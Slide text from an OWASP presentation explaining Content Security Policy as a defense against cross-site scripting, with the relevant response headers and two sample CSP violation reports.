  • 28. The OWASP Foundation http://www.owasp.org Content Security Policy β€’ Anti-XSS W3C standard β€’ Content Security Policy latest release version β€’ http://www.w3.org/TR/CSP/ β€’ Must move all inline script and style into external scripts β€’ Add the X-Content-Security-Policy response header to instruct the browser that CSP is in use - Firefox/IE10PR: X-Content-Security-Policy - Chrome Experimental: X-WebKit-CSP - Content-Security-Policy-Report-Only β€’ Define a policy for the site regarding loading of content
  • 29. The OWASP Foundation http://www.owasp.org Get rid of XSS, eh? A script-src directive that doesnβ€˜t contain β€˜unsafe-inline’ eliminates a huge class of cross site scripting I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT
  • 31. The OWASP Foundation http://www.owasp.org What does this report look like? { "csp-report"=> { "document-uri"=>"http://localhost:3000/home", "referrer"=>"", "blocked-uri"=>"ws://localhost:35729/livereload", "violated-directive"=>"xhr-src ws://localhost.twitter.com:*" } }
  • 32. The OWASP Foundation http://www.owasp.org { "csp-report"=> { "document-uri"=>"http://example.com/welcome", "referrer"=>"", "blocked-uri"=>"self", "violated-directive"=>"inline script base restriction", "source-file"=>"http://example.com/welcome", "script-sample"=>"alert(1)", "line-number"=>81 } } What does this report look like?